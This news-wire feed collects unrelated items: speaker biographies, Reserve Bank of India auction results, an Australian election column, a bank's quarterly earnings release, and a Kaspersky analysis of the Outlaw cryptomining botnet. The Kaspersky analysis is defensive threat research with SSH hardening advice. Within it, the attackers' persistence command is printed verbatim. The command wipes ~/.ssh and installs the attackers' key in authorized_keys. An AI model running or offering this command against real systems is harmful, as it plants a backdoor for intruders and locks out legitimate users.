Sethuraman “Panch” Panchanathan is a computer scientist and engineer who served as the 15th director of the United States National Science Foundation (NSF) from 2020 until 2025. Panchanathan was nominated to by the president in 2019 and unanimously confirmed by the Senate on June 18, 2020. NSF is a $9.06 billion independent federal agency, and the only government agency charged with advancing all fields of scientific discovery, technological innovation and science, technology, engineering and mathematics education.

Panchanathan previously served as the executive vice president of the Arizona State University (ASU) Knowledge Enterprise, where he was also chief research and innovation officer. He was also the founder and director of the Center for Cognitive Ubiquitous Computing at ASU. Under his leadership, the university increased research performance fivefold, earning recognition as the fastest growing and most innovative research university in the U.S.

Prior to joining NSF, Panchanathan was appointed by the president to serve on the National Science Board, where he was a chair of the Committee on Strategy and a member of the External Engagement and National Science and Engineering Policy committees. Additionally, he was chair of the Council on Research of the Association of Public and Land-grant Universities and co-chair of the Extreme Innovation Taskforce of the Global Federation of Competitiveness Councils. Arizona’s governor appointed Panchanathan as senior advisor for science and technology in 2018. He was the editor-in-chief of the Institute of Electrical and Electronics Engineers (IEEE) MultiMedia magazine and editor and associate editor of several international journals.

For his scientific contributions, Panchanathan has received numerous awards, including honorary doctorates from prestigious universities, distinguished alumni awards, the Governor’s Innovator of the Year for Academia Award, the Washington Academy of Sciences Distinguished Career Award and the IEEE-USA Public Service Award.

Panchanathan is a member of the National Academy of Engineering and a fellow of the National Academy of Inventors, where he also served as vice president for strategic initiatives. He is also a fellow of the American Association for the Advancement of Science, the Canadian Academy of Engineering, the Association for Computing Machinery, IEEE and the Society of Optical Engineering.

School of Law (Sunday, May 18, 10:30 a.m. at UConn School of Law): Mayor Arunan Arulampalam

The son of Sri Lankan refugees, Arunan Arulampalam was born in Zimbabwe and made a home and a family in Hartford after graduate school. Prior to being elected mayor of Hartford in November 2023, he served as CEO of the Hartford Land Bank, where he developed a first-in-the-nation program to train Hartford residents to become local developers and tackle blight in their city. Arulampalam served in Governor Ned Lamont’s administration as Deputy Commissioner of the Connecticut Department of Consumer Protection. Before that, he was a lawyer at the downtown firm Updike, Kelly & Spellacy, P.C. Arulampalam also served on the Board of the Hartford Public Library, the House of Bread, and on the Hartford Redevelopment Authority. He earned his BA in International Studies from Emory University and his JD from Quinnipiac University School of Law.

MIL OSI USA News –

April 30, 2025

MIL-OSI Economics: Detailed Result: OMO Purchase Auction held on April 29, 2025 and Settlement on April 30, 2025

Source: Reserve Bank of India

I. Summary OMO Purchase Results

Aggregate Amount (Face value) notified by RBI	: ₹20,000 crore
Total amount offered (Face value) by participants	: ₹39,218 crore
Total amount accepted (Face value) by RBI	: ₹20,000 crore

II. Details of OMO Purchase Issue

Security	7.04% GS 2029	6.10% GS 2031	7.26% GS 2032	6.19% GS 2034	8.33% GS 2036
No. of offers received	20	78	19	35	21
Total amount (face value) offered (₹ in crore)	9,470	18,069	2,956	3,825	4,898
No. of offers accepted	6	37	16	20	8
Total offer amount (face value) accepted by RBI (₹ in crore)	1,605	9,869	2,656	1,610	4,260
Cut off yield (%)	6.0975	6.2238	6.2570	6.3476	6.5005
Cut off price (₹)	103.36	99.36	105.80	98.89	114.30
Weighted average yield (%)	6.1140	6.2376	6.2837	6.3635	6.5063
Weighted average price (₹)	103.30	99.29	105.64	98.78	114.25
Partial allotment % of competitive offers at cut off price	NA	42.12	NA	NA	NA

Ajit Prasad
Deputy General Manager
(Communications)

Press Release: 2025-2026/203

MIL OSI Economics –

April 29, 2025

MIL-Evening Report: Election Diary: Albanese will be encouraged by ‘Trump’ effect in helping Canadian Liberals to victory

Source: The Conversation (Au and NZ) – By Michelle Grattan, Professorial Fellow, University of Canberra

Labor will be encouraged by the Liberals’ victory in Canada’s election, undoubtedly much helped by US President Donald Trump.

Trump’s extraordinary attack on the United States’ northern ally, with his repeated suggestion Canada should be the 51st American state, galvanised voters. Former banker Mark Carney, seen as best able to deal with Trump, won the internal race to succeed Justin Trudeau as PM, and now has clinched the election. The Conservatives, favourites a few months ago, couldn’t compete.

The Trump factor is not so dramatic in our election, but it is present and working for Labor. In a time of instability, some potential swinging voters are more inclined to opt for the status quo.

Anthony Albanese said on Tuesday, “Mark Carney has stood for Canada’s national interests, just as I stand up for Australia’s national interest”.

Australians don’t like Trump or his policies. A recent Lowy poll found people’s trust in the US to act responsibly in the world has dropped 20 points in a year, although they were nearly equally divided on whether Albanese or Peter Dutton would be better to handle the US and Trump.

After initially thinking Trump’s election could assist the Coalition, Dutton has not been able to shake off the “Trump factor” since it became clear it was a drag.

Meanwhile, Dutton was having another difficult day on the campaign trail on Tuesday. His electorate office had been vandalised (again) in the early hours. Then, when he visited a sporting ground in the highly marginal seat of Gilmore on the NSW south coast, three local unionists, outfitted in protective gear, turned up to play for the cameras at finding a spot for a nuclear reactor.

In Gilmore former NSW transport minister Andrew Constance is making another run, after being narrowly pipped by Labor at the 2022 election.

Dutton had planned to hold his news conference at the ground, but cancelled it and moved on. When the press conference finally happened, it was short but not sweet. Both leader and press pack were, by that stage, tetchy.

Unlike his unfortunate experience on Sunday with the price of eggs, Dutton did pass the test when asked the inflation rate. He quickly answered 2.7%. This is not the headline rate, which is 2.4%, but it is the trimmed mean rate. That’s the rate preferred by the Reserve Bank, so he would get a tick from Governor Michele Bullock, even if his choice caused some confusion in the media. On Wednesday we get the March quarter CPI figures.

How the leaders’ debates rated

Nine won by a whisker the “ratings” contest among TV stations in the leaders’ debates, followed by the ABC. These are considered high figures for election debates. What we don’t know is how many viewers watched all four debates. Now that took some stamina!

How voters rate former PMs

Essential Research’s latest poll has an interesting table of people’s ratings of former prime ministers, with John Howard and Bob Hawke filling the first two spots.

Howard, 85, remains in demand for Liberal campaigning. Speaking to The Conversation, he reels off quite a round of seats he’s visited, including Curtin, Tangey, Bullwinkel and Hasluck in Western Australia (all in a day and a half); Wentworth, Mackellar, Robertson, Warringhah and Bennelong (his old seat) in NSW, and Bruce in Melbourne. He agrees the campaign cycle is faster these days, but he obviously still relishes the smell of the political grease paint.

Michelle Grattan does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. Election Diary: Albanese will be encouraged by ‘Trump’ effect in helping Canadian Liberals to victory – https://theconversation.com/election-diary-albanese-will-be-encouraged-by-trump-effect-in-helping-canadian-liberals-to-victory-255387

MIL OSI Analysis – EveningReport.nz –

April 29, 2025

MIL-OSI Banking: Outlaw cybergang attacking targets worldwide

Source: Securelist – Kaspersky

Headline: Outlaw cybergang attacking targets worldwide

Introduction

In a recent incident response case in Brazil, we dealt with a relatively simple, yet very effective threat focused on Linux environments. Outlaw (also known as “Dota”) is a Perl-based crypto mining botnet that typically takes advantage of weak or default SSH credentials for its operations. Previous research ([1], [2]) described Outlaw samples obtained from honeypots. In this article, we provide details from a real incident contained by Kaspersky, as well as publicly available telemetry data about the countries and territories most frequently targeted by the threat actor. Finally, we provide TTPs and best practices that security practitioners can adopt to protect their infrastructures against this type of threat.

Analysis

We started the analysis by gathering relevant evidence from a compromised Linux system. We identified an odd authorized SSH key for a user called suporte (in a Portuguese-speaking environment, this is an account typically used for administrative tasks in the operating system). Such accounts are often configured to have the same username as the password, which is a bad practice, making it easy for the attackers to exploit them. The authorized key belonged to a remote Linux machine user called mdrfckr, a string found in Dota campaigns, which raised our suspicion.

Suspicious authorized key

After the initial SSH compromise, the threat actor downloads the first-stage script, tddwrt7s.sh, using utilities like wget or curl. This artifact is responsible for downloading the dota.tar.gz file from the attackers’ server. Below is the sequence of commands performed by the attacker to obtain and decompress this file, which is rather typical of them. It is interesting to note that the adversary uses both of the previously mentioned utilities to try to download the artifact, since the system may not have one or another.

Chain of commands used by the attackers to download and decompress dota.tar.gz

After the decompression, a hidden directory, named “.configrc5”, was created in the user’s home directory with the following structure:

.configrc5 directory structure

Interestingly enough, one of the first execution steps is checking if other known miners are present on the machine using the script a/init0. If any miners are found, the script tries to kill and block their execution. One reason for this is to avoid possible overuse of the RAM and CPU on the target machine.

Routine for killing and blocking known miners

The script also monitors running processes, identifies any that use 40% or more CPU by executing the command ps axf –o “pid %cpu”, and for each such process, checks its command line (/proc/$procid/cmdline) for keywords like “kswapd0”, “tsm”, “rsync”, “tor”, “httpd”, “blitz”, or “mass” using the grep command. If none of these keywords are found ( grep doesn’t return zero), the process is forcefully killed with the kill –9 command; otherwise, the script prints “don’t kill”, effectively whitelisting Outlaw’s known or expected high-CPU processes, so it doesn’t accidentally kill them.

Processes checks performed by the threat

After the process checks and killing are done, the b/run file is executed, which is responsible for maintaining persistence on the infected machine and executing next-stage malware from its code. For persistence purposes, the attackers used the following command to wipe the existing SSH setup, create a clean .ssh folder, add a new public key for SSH access, and lock down permissions.

cd ~ && rm -rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod -R go= ~/.ssh

1

cd ~ && rm –rf .ssh && mkdir .ssh && echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr”>>.ssh/authorized_keys && chmod –R go= ~/.ssh

The next-stage malware is a Base64-encoded string inside the b/run script that, once decoded, reveals another level of obfuscation: this time an obfuscated Perl script. Interestingly, the attackers left a comment generated by the obfuscator (perlobfuscator.com) in place.

Obfuscated Perl script

We were able to easily deobfuscate the code using an open-source script available on the same website as used by the attackers (https://perlobfuscator.com/decode-stunnix-5.17.1.pl), which led us to the original source code containing a few words in Portuguese.

Deobfuscated Perl script

This Perl script is an IRC-based botnet client that acts as a backdoor on a compromised system. Upon execution, it disguises itself as an rsync process, creates a copy of itself in the background, and ignores termination signals. By default, it connects to a hardcoded IRC server over port 443 using randomly generated nicknames, joining predefined channels to await commands from designated administrators. The bot supports a range of malicious features including command execution, DDoS attacks, port scans, file download, and upload via HTTP. This provides the attackers with a wide range of capabilities to command and control the botnet.

XMRig miner

Another file from the hidden directory, a/kswapd0, is an ELF packed using UPX, as shown in the image below. We were able to easily unpack the binary for analysis.

kswapd0 identification and unpacking

By querying the hash on threat intelligence portals and by statically analyzing the sample, it became clear that this binary is a malicious modified version of XMRig (6.19.0), a cryptocurrency miner.

XMRig version

We also found a configuration file embedded in the binary. This file contains the attacker’s mining information. In our scenario, the configuration was set up to mine Monero using the CPU only, with both OpenCL and CUDA (for GPU mining) disabled. The miner runs in the background, configured for high CPU usage. It also connects to multiple mining pools, including one accessible via Tor, which explains the presence of Tor files inside the .configrc5/a directory. The image below shows an excerpt from this configuration file.

XMRig custom configuration

Victims

Through telemetry data collected from public feeds, we have identified victims of the Outlaw gang mainly in the United States, but also in Germany, Italy, Thailand, Singapore, Taiwan, Canada and Brazil, as shown in the chart below.

Countries and territories where Outlaw is most activedownload)

The following chart shows the distribution of recent victims. We can see that the group was idle from December 2024 through February 2025, then a spike in the number of victims was observed in March 2025.

Number of Outlaw victims by month, September 2024–March 2025 (download)

Recommendations

Since Outlaw exploits weak or default SSH passwords, we recommend that system administrators adopt a proactive approach to hardening their servers. This can be achieved through custom server configurations and by keeping services up to date. Even simple practices, such as using key-based authentication, can be highly effective. However, the /etc/ssh/sshd_config file allows for the use of several additional parameters to improve security. Some general configurations include:

Port : changes the default SSH port to reduce exposure to automated scans.
Protocol 2: enforces the use of the more secure protocol version.
PermitRootLogin no: disables direct login as the root user.
MaxAuthTries : limits the number of authentication attempts per session.
LoginGraceTime : defines the amount of time allowed to complete the login process (in seconds unless specified otherwise).
PasswordAuthentication no: disables password-based login.
PermitEmptyPasswords no: prevents login with empty passwords.
X11Forwarding no: disables X11 forwarding (used for running graphical applications remotely).
PermitUserEnvironment no: prevents users from passing environment variables.
Banner /etc/ssh/custom_banner: customizes the system login banner.

Consider disabling unused authentication protocols:

ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

Disable tunneling options to prevent misuse of the SSH tunnel feature:

AllowAgentForwarding no
AllowTcpForwarding no
PermitTunnel no

You can limit SSH access to specific IPs or networks using the AllowUsers directive:

AllowUsers *@10.10.10.217
AllowUsers *@192.168.0.0/24

Enable public key authentication with:

PubkeyAuthentication yes

Set parameters to automatically disconnect idle sessions:

ClientAliveInterval
ClientAliveCountMax

The following configuration file serves as a template for hardening the SSH service:

Protocol 2<br /> Port 2222

LoginGraceTime 10
PermitRootLogin no
MaxAuthTries 3
IgnoreRhosts yes
PubkeyAuthentication yes
PasswordAuthentication no
PermitEmptyPasswords no

UsePAM yes
ChallengeResponseAuthentication no
KerberosAuthentication no
GSSAPIAuthentication no

AllowAgentForwarding no
AllowTcpForwarding no
X11Forwarding no
PrintMotd no
PrintLastLog yes
PermitUserEnvironment no
ClientAliveInterval 300
ClientAliveCountMax 2
PermitTunnel no

Banner /etc/ssh/custom_banner
AllowUsers *@10.10.10.217

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28

Protocol 2

Port 2222

LoginGraceTime 10

PermitRootLogin no

MaxAuthTries 3

IgnoreRhosts yes

PubkeyAuthentication yes

PasswordAuthentication no

PermitEmptyPasswords no

UsePAM yes

ChallengeResponseAuthentication no

KerberosAuthentication no

GSSAPIAuthentication no

AllowAgentForwarding no

AllowTcpForwarding no

X11Forwarding no

PrintMotd no

PrintLastLog yes

PermitUserEnvironment no

ClientAliveInterval 300

ClientAliveCountMax 2

PermitTunnel no

Banner /etc/ssh/custom_banner

AllowUsers *@10.10.10.217

While outside sshd_config, pairing your config with tools like Fail2Ban or firewalld rate limiting adds another solid layer of protection against brute force.

Conclusion

By focusing on weak or default SSH credentials, Outlaw keeps improving and broadening its Linux-focused toolkit. The group uses a range of evasion strategies, such as concealing files and folders or obfuscated programs, and uses compromised SSH keys to keep access for as long as possible. The IRC-based botnet client facilitates a wide range of harmful operations, such as command execution, flooding, and scanning, while the deployment of customized XMRig miners can divert processing resources to cryptocurrency mining. By hardening SSH configurations (for instance, turning off password authentication), keeping an eye out for questionable processes, and limiting SSH access to trustworthy users and networks, system administrators can greatly lessen this hazard.

Tactics, techniques and procedures

Below are the Outlaw TTPs identified from our malware analysis.

Tactic	Technique	ID
Execution	Command and Scripting Interpreter: Unix Shell	T1059.004
Persistence	Scheduled Task/Job: Cron	T1053.003
Persistence	Account Manipulation: SSH Authorized Keys	T1098.004
Defense Evasion	Obfuscated Files or Information	T1027
Defense Evasion	Indicator Removal: File Deletion	T1070.004
Defense Evasion	File and Directory Permissions Modification	T1222
Defense Evasion	Hide Artifacts: Hidden Files and Directories	T1564.001
Defense Evasion	Obfuscated Files or Information: Software Packing	T1027.002
Credential Access	Brute Force	T1110
Discovery	System Information Discovery	T1082
Discovery	Process Discovery	T1057
Discovery	Account Discovery	T1087
Discovery	System Owner/User Discovery	T1033
Discovery	System Network Connections Discovery	T1049
Lateral Movement	Remote Services: SSH	T1021.004
Collection	Data from Local System	T1005
Command and Control	Application Layer Protocol	T1071
Command and Control	Ingress Tool Transfer	T1105
Exfiltration	Exfiltration Over Alternative Protocol	T1048
Impact	Resource Hijacking	T1496
Impact	Service Stop	T1489

Indicators of Compromise

MIL OSI Global Banks –

April 29, 2025

MIL-OSI: Southside Bancshares, Inc. Announces Financial Results for the First Quarter Ended March 31, 2025

Source: GlobeNewswire (MIL-OSI)

First quarter net income of $21.5 million;
First quarter earnings per diluted common share of $0.71;
Annualized return on first quarter average assets of 1.03%;
Annualized return on first quarter average tangible common equity of 14.14%⁽¹⁾; and
Nonperforming assets remain low at 0.39% of total assets.

TYLER, Texas, April 29, 2025 (GLOBE NEWSWIRE) — Southside Bancshares, Inc. (“Southside” or the “Company”) (NYSE: SBSI) today reported its financial results for the quarter ended March 31, 2025. Southside reported net income of $21.5 million and earnings per diluted common share of $0.71 for both of the three month periods ended March 31, 2025 and 2024. The annualized return on average shareholders’ equity for the three months ended March 31, 2025 was 10.57%, compared to 11.02% for the same period in 2024. The annualized return on average assets was 1.03% for both of the three month periods ended March 31, 2025 and 2024.

“We are pleased to report financial results for the first quarter ended March 31, 2025, which included earnings per share of $0.71, a return on average assets of 1.03%, and a return on average tangible common equity of 14.14%,” stated Lee R. Gibson, Chief Executive Officer of Southside. “Linked quarter, the net interest margin increased three basis points to 2.86%, net interest income increased $145,000 to $53.9 million, and deposits net of public fund and brokered deposits increased $91.9 million. The linked quarter decrease in total loans was primarily due to payoffs exceeding original projections. Our loan pipeline is solid and we continue to anticipate mid-single-digit loan growth for 2025; however, it will likely be heavily weighted in the last half of the year.”

Operating Results for the Three Months Ended March 31, 2025

Net income was $21.5 million and earnings per diluted common share were $0.71 for both of the three month periods ended March 31, 2025 and 2024. Annualized returns on average assets and average shareholders’ equity for the three months ended March 31, 2025 were 1.03% and 10.57%, respectively, compared to 1.03% and 11.02%, respectively, for the three months ended March 31, 2024. Our efficiency ratio and tax-equivalent efficiency ratio⁽¹⁾ were 57.04% and 55.04%, respectively, for the three months ended March 31, 2025, compared to 57.95% and 55.54%, respectively, for the three months ended March 31, 2024, and 56.08% and 54.00%, respectively, for the three months ended December 31, 2024.

Net interest income for the three months ended March 31, 2025 was $53.9 million, an increase of $0.5 million, or 0.9%, compared to the same period in 2024. Linked quarter, net interest income increased $0.1 million, or 0.3%, compared to $53.7 million for the three months ended December 31, 2024. The increase in net interest income for both periods was due to the decrease in the average rate paid on interest bearing liabilities and the increase in the average balance of our interest earning assets, partially offset by the decrease in the average yield of interest earning assets and the increase in the average balance of our interest bearing liabilities.

Our net interest margin increased to 2.74% for the three months ended March 31, 2025, compared to 2.72% for the same period in 2024, while tax-equivalent net interest margin⁽¹⁾ was 2.86% for both of the three month periods ended March 31, 2025 and 2024. Linked quarter, net interest margin and tax-equivalent net interest margin⁽¹⁾ increased from 2.70% and 2.83%, respectively, for the three months ended December 31, 2024.

Noninterest income was $10.2 million for the three months ended March 31, 2025, an increase of $0.5 million, or 5.1%, compared to $9.7 million for the same period in 2024. The increase was primarily due to increases in gain on sale of loans and trust fees, partially offset by an increase in net loss on sale of securities available for sale (“AFS”). On a linked quarter basis, noninterest income decreased $2.1 million, or 16.8%, compared to the three months ended December 31, 2024. The decrease was primarily due to a decrease in other noninterest income, an increase in net loss on sale of securities AFS and a decrease in deposit services income. The decrease in other noninterest income was due to a decrease in swap fee income for the three months ended March 31, 2025.

Noninterest expense increased $0.2 million, or 0.6%, to $37.1 million for the three months ended March 31, 2025, compared to $36.9 million for the same period in 2024, due to increases in other noninterest expense and professional fees, partially offset by decreases in salaries and employee benefits expense and amortization of intangibles. On a linked quarter basis, noninterest expense decreased by $1.1 million, or 2.8%, compared to the three months ended December 31, 2024, due to decreases in salaries and employee benefits, net occupancy, other noninterest expense and professional fees.

Income tax expense increased $0.1 million, or 2.1%, for the three months ended March 31, 2025, compared to the same period in 2024. On a linked quarter basis, income tax expense increased $0.1 million, or 1.3%. Our effective tax rate (“ETR”) increased to 18.0% for the three months ended March 31, 2025, compared to 17.7% for the three months ended March 31, 2024, and increased from 17.6% for the three months ended December 31, 2024. The higher ETR for the three months ended March 31, 2025 compared to the same period in 2024, was primarily due to an increase in state income tax expense.

Balance Sheet Data

At March 31, 2025, Southside had $8.34 billion in total assets, compared to $8.35 billion at March 31, 2024, and $8.52 billion at December 31, 2024.

Loans at March 31, 2025 were $4.57 billion, a decrease of $10.1 million, or 0.2%, compared to $4.58 billion at March 31, 2024. Linked quarter, loans decreased $94.4 million, or 2.0%, due to decreases of $79.7 million in construction loans, $19.7 million in municipal loans, $2.5 million in commercial real estate loans and $1.9 million in loans to individuals. These decreases were partially offset by increases of $8.5 million in commercial loans and $1.0 million in 1-4 family residential loans.

Securities at March 31, 2025 were $2.74 billion, an increase of $24.2 million, or 0.9%, compared to $2.71 billion at March 31, 2024. Linked quarter, securities decreased $76.9 million, or 2.7%, from $2.81 billion at December 31, 2024.

Deposits at March 31, 2025 were $6.59 billion, an increase of $45.1 million, or 0.7%, compared to $6.55 billion at March 31, 2024. Linked quarter, deposits decreased $63.4 million, or 1.0%, from $6.65 billion at December 31, 2024.

At March 31, 2025, we had 178,840 total deposit accounts with an average balance of $34,000. Our estimated uninsured deposits were 40.0% of total deposits as of March 31, 2025. When excluding affiliate deposits (Southside-owned deposits) and public fund deposits (all collateralized), our total estimated deposits without insurance or collateral was 20.8% as of March 31, 2025. Our noninterest bearing deposits represent approximately 20.9% of total deposits. Linked quarter, our cost of interest bearing deposits decreased nine basis points from 2.92% in the prior quarter to 2.83%. Linked quarter, our cost of total deposits decreased five basis points from 2.31% in the prior quarter to 2.26%.

Our cost of interest bearing deposits decreased 14 basis points, from 2.97% for the three months ended March 31, 2024, to 2.83% for the three months ended March 31, 2025. Our cost of total deposits decreased 10 basis points, from 2.36% for the three months ended March 31, 2024, to 2.26% for the three months ended March 31, 2025.

Capital Resources and Liquidity

Our capital ratios and contingent liquidity sources remain solid. During the first quarter ended March 31, 2025, we did not purchase any common stock pursuant to our Stock Repurchase Plan. Under this plan, repurchases of our outstanding common stock may be carried out in open market purchases, privately negotiated transactions or pursuant to any trading plan that might be adopted in accordance with Rule 10b5-1 of The Securities Exchange Act of 1934, as amended. The Company has no obligation to repurchase any shares under the Stock Repurchase Plan and may modify, suspend or discontinue the plan at any time. Subsequent to March 31, 2025, and through April 25, 2025, we purchased 196,419 shares of common stock at an average price of $26.82 pursuant to the Stock Repurchase Plan.

As of March 31, 2025, our total available contingent liquidity, net of current outstanding borrowings, was $2.29 billion, consisting of FHLB advances, Federal Reserve Discount Window and correspondent bank lines of credit.

Asset Quality

Nonperforming assets at March 31, 2025 were $32.2 million, or 0.39% of total assets, an increase of $24.2 million, or 303.5%, compared to $8.0 million, or 0.10% of total assets, at March 31, 2024. Linked quarter, nonperforming assets increased $28.6 million, or 797.0%, from $3.6 million at December 31, 2024 due primarily to increases of $27.5 million in restructured loans and $1.1 million in nonaccrual loans. The increase in restructured loans was due to the extension of maturity on a $27.5 million commercial real estate loan to allow for an extended lease up period. Classified loans totaled $67.0 million on March 31, 2025, compared to $48.0 million on December 31, 2024, primarily due to the downgrade of a $17.9 million commercial real estate loan in the first quarter that paid off on April 4, 2025.

The allowance for loan losses totaled $44.6 million, or 0.98% of total loans, at March 31, 2025, compared to $44.9 million, or 0.96% of total loans, at December 31, 2024. The allowance for loan losses was $43.6 million, or 0.95% of total loans, at March 31, 2024. The increase in allowance as a percentage of total loans was primarily due to an increase in economic concerns forecasted in the CECL model, partially offset by a decrease in the loan portfolio due to payoffs.

For the three months ended March 31, 2025, we recorded a provision for credit losses for loans of $42,000, compared to a provision of $1.2 million and $1.6 million for the three months ended March 31, 2024 and December 31, 2024, respectively. Net charge-offs were $0.3 million for the three months ended March 31, 2025 and March 31, 2024, compared to net charge-offs of $1.0 million for the three months ended December 31, 2024.

We recorded a provision for credit losses on off-balance-sheet credit exposures of $0.7 million for the three months ended March 31, 2025, compared to a reversal of provision for credit losses on off-balance-sheet credit exposures $1.1 million and $0.2 million for the three months ended March 31, 2024 and December 31, 2024, respectively. The balance of the allowance for off-balance-sheet credit exposures was $3.8 million and $2.8 million at March 31, 2025 and 2024, respectively, and is included in other liabilities.

Dividend

Southside Bancshares, Inc. declared a first quarter cash dividend of $0.36 per share on February 6, 2025, which was paid on March 6, 2025, to all shareholders of record as of February 20, 2025.

_______________

(1)	Refer to “Non-GAAP Financial Measures” below and to “Non-GAAP Reconciliation” at the end of the financial statement tables in this Earnings Release for more information and for a reconciliation of this non-GAAP financial measure to the nearest GAAP financial measure.

Conference Call

Southside’s management team will host a conference call to discuss its first quarter ended March 31, 2025 financial results on Tuesday, April 29, 2025 at 11:00 a.m. CDT. The conference call can be accessed by webcast, for listen-only mode, on the company website, https://investors.southside.com, under Events.

Those interested in participating in the question and answer session, or others who prefer to call-in, can register at https://register-conf.media-server.com/register/BI1a8ec95cd2734970adaf83fadfc7f01d to receive the dial-in number and unique code to access the conference call seamlessly. While not required, it is recommended that those wishing to participate, register 10 minutes prior to the conference call to ensure a more efficient registration process.

For those unable to attend the live event, a webcast recording will be available on the company website, https://investors.southside.com, for at least 30 days, beginning approximately two hours following the conference call.

Non-GAAP Financial Measures

Our accounting and reporting policies conform to generally accepted accounting principles (“GAAP”) in the United States and prevailing practices in the banking industry. However, certain non-GAAP measures are used by management to supplement the evaluation of our performance. These include the following fully taxable-equivalent measures (“FTE”): (i) Net interest income (FTE), (ii) net interest margin (FTE), (iii) net interest spread (FTE), and (iv) efficiency ratio (FTE), which include the effects of taxable-equivalent adjustments using a federal income tax rate of 21% to increase tax-exempt interest income to a tax-equivalent basis. Interest income earned on certain assets is completely or partially exempt from federal income tax. As such, these tax-exempt instruments typically yield lower returns than taxable investments.

Net interest income (FTE), net interest margin (FTE) and net interest spread (FTE). Net interest income (FTE) is a non-GAAP measure that adjusts for the tax-favored status of net interest income from certain loans and investments and is not permitted under GAAP in the consolidated statements of income. We believe that this measure is the preferred industry measurement of net interest income and that it enhances comparability of net interest income arising from taxable and tax-exempt sources. The most directly comparable financial measure calculated in accordance with GAAP is our net interest income. Net interest margin (FTE) is the ratio of net interest income (FTE) to average earning assets. The most directly comparable financial measure calculated in accordance with GAAP is our net interest margin. Net interest spread (FTE) is the difference in the average yield on average earning assets on a tax-equivalent basis and the average rate paid on average interest bearing liabilities. The most directly comparable financial measure calculated in accordance with GAAP is our net interest spread.

Efficiency ratio (FTE). The efficiency ratio (FTE) is a non-GAAP measure that provides a measure of productivity in the banking industry. This ratio is calculated to measure the cost of generating one dollar of revenue. The ratio is designed to reflect the percentage of one dollar which must be expended to generate that dollar of revenue. We calculate this ratio by dividing noninterest expense, excluding amortization expense on intangibles and certain nonrecurring expense by the sum of net interest income (FTE) and noninterest income, excluding net gain (loss) on sale of securities available for sale and certain nonrecurring impairments. The most directly comparable financial measure calculated in accordance with GAAP is our efficiency ratio.

These non-GAAP financial measures should not be considered alternatives to GAAP-basis financial statements and other bank holding companies may define or calculate these non-GAAP measures or similar measures differently. Whenever we present a non-GAAP financial measure in an SEC filing, we are also required to present the most directly comparable financial measure calculated and presented in accordance with GAAP and reconcile the differences between the non-GAAP financial measure and such comparable GAAP measure.

Management believes adjusting net interest income, net interest margin and net interest spread to a fully taxable-equivalent basis is a standard practice in the banking industry as these measures provide useful information to make peer comparisons. Tax-equivalent adjustments are reflected in the respective earning asset categories as listed in the “Average Balances with Average Yields and Rates” tables.

A reconciliation of our non-GAAP financial measures to the comparable GAAP financial measures is included at the end of the financial statement tables.

About Southside Bancshares, Inc.

Southside Bancshares, Inc. is a bank holding company with approximately $8.34 billion in assets as of March 31, 2025, that owns 100% of Southside Bank. Southside Bank currently has 53 branches in Texas and operates a network of 73 ATMs/ITMs.

To learn more about Southside Bancshares, Inc., please visit our investor relations website at https://investors.southside.com. Our investor relations site provides a detailed overview of our activities, financial information and historical stock price data. To receive email notification of company news, events and stock activity, please register on the website under Resources and Investor Email Alerts. Questions or comments may be directed to Lindsey Bailes at (903) 630-7965, or lindsey.bailes@southside.com.

Forward-Looking Statements

Certain statements of other than historical fact that are contained in this press release and in other written materials, documents and oral statements issued by or on behalf of the Company may be considered to be “forward-looking statements” within the meaning of and subject to the safe harbor protections of the Private Securities Litigation Reform Act of 1995. These forward-looking statements are not guarantees of future performance, nor should they be relied upon as representing management’s views as of any subsequent date. These statements may include words such as “expect,” “estimate,” “project,” “anticipate,” “appear,” “believe,” “could,” “should,” “may,” “might,” “will,” “would,” “seek,” “intend,” “probability,” “risk,” “goal,” “target,” “objective,” “plans,” “potential,” and similar expressions. Forward-looking statements are statements with respect to the Company’s beliefs, plans, expectations, objectives, goals, anticipations, assumptions, estimates, intentions and future performance and are subject to significant known and unknown risks and uncertainties, which could cause the Company’s actual results to differ materially from the results discussed in the forward-looking statements. For example, benefits of the Share Repurchase Plan, trends in asset quality, capital, liquidity, the Company’s ability to sell nonperforming assets, expense reductions, planned operational efficiencies and earnings from growth and certain market risk disclosures, including the impact of interest rates and our expectations regarding rate changes, tax reform, inflation, tariffs, the impacts related to or resulting from other economic factors are based upon information presently available to management and are dependent on choices about key model characteristics and assumptions and are subject to various limitations. By their nature, certain of the market risk disclosures are only estimates and could be materially different from what actually occurs in the future. Accordingly, our results could materially differ from those that have been estimated. The most significant factor that could cause future results to differ materially from those anticipated by our forward-looking statements include the ongoing impact of higher inflation levels, interest rate fluctuations, including the impact of changes in interest rates on our financial projections, models and guidance, and general economic and recessionary concerns, as well as the effects of declines in the real estate market, tariffs or trade wars (including reduced consumer spending, lower economic growth or recession, reduced demand for U.S. exports, disruptions to supply chains, and decreased demand for other banking products and services), high unemployment and increasing insurance costs, as well as the financial stress on borrowers as a result of the foregoing, all of which could impact economic growth and could cause a reduction in financial transactions and 